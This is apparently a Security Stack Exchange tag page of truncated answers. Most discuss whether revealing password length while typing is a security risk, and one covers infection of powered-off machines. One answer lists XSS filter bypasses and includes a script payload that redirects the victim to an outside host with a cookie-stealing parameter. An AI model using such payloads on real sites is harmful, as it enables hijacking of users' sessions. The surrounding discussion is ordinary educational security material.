Hot answers tagged

39

Knowing how long a password is doesn't really make much difference to how easy it is to guess or crack it. If the password is something easily guessable or in a dictionary, then the length is irrelevant. If the password is random and you're trying to brute-force (having somehow obtained the hash), then knowing the length makes very little difference, because ...


13

UIs with this behavior do exist. I've seen several that do not offer any visual feedback. I've also seen a few that do random feedback. Is it a security issue? Well, consider how long passwords tend to be. I think 8-15 characters is a reasonable expectation from users (there are users who will break the bank with longer passwords, but we'll skip them for ...


9

The threat scenario is extremely limited. One would have to be physically present and be able to count the "dots" to get a length. This is more difficult than being able to read the text since there is no pattern for a brain to efficiently parse. Then they would still have to brute force the password. Even if the attacker gains knowledge of an ...


6

In general, no, this provides only extremely limited security gains in exchange for a significant UX downside. Not showing typed characters has two advantages for security: It hides the password length. It limits the viability of very specialized and highly targeted timing attacks on the password entry itself. The first ‘benefit’ is of limited value given ...


4

I see at least 3 possible bypasses: Double quotes The most obvious one, which should work based on your post, is by using double quotes instead of simple quotes: <script>document.location="http://khodrochi.unaux.com/khodrochi.php?x="/*+document.cookie*/;</script> Backticks The second one, which is rarely filtered in my experience, is ...


2

I do not consider seeing the number of characters in a password to be particularly telling. Any attacker can see the password given sufficient access to your browser (say with a rogue add-on) or OS (with a software keylogger) or hardware (with a physical keylogger). I consider the risk of somebody seeing your password length to be a minor one. There are two ...


2

The answer is generally no, but technically it is possible. While the other answer here focuses upon a scenario in which Wake-on-LAN is used to turn other machines on, in order to infect them, that doesn't really directly answer the question of whether or not a machine can be infected while it is powered off. First, it's worth clarifying what "powered ...


Only top voted, non community-wiki answers of a minimum length are eligible